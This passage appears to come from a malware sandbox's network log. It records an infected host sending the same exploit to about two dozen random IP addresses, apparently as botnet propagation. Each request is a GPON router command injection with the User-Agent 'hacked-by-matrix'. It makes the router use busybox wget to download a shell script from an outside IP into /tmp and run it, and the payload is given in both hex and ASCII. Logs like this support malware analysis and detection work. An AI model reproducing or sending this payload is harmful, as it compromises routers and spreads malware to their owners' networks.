Mar 21, 2024 05:16:52.976003885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	51238	212.147.159.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976044893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.23	51270	37.255.50.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976097107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.23	41722	118.53.33.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976147890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.23	57318	210.78.180.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976212978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.23	41522	94.36.228.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976246119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.23	50066	5.52.189.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976319075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.23	51254	79.51.205.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976342916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.23	50496	37.139.21.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976375103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.23	33248	94.0.130.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976465940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.23	53448	2.51.250.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976497889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.23	39274	118.11.235.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976535082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.23	36596	2.230.249.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976579905 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.23	49468	210.123.13.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976615906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.23	56070	37.234.18.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976650953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.23	55088	5.236.89.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976686954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.23	56636	5.100.205.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976731062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.23	45044	2.144.160.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976773977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.23	38148	2.13.103.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976815939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.23	50866	109.237.186.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976855040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.23	37442	2.99.80.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976897001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.23	60682	2.210.221.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976938963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.23	36288	178.237.146.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.976983070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.23	52916	42.38.241.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.977025032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.23	60570	94.198.26.169	443

Timestamp	Bytes transferred	Direction	Data
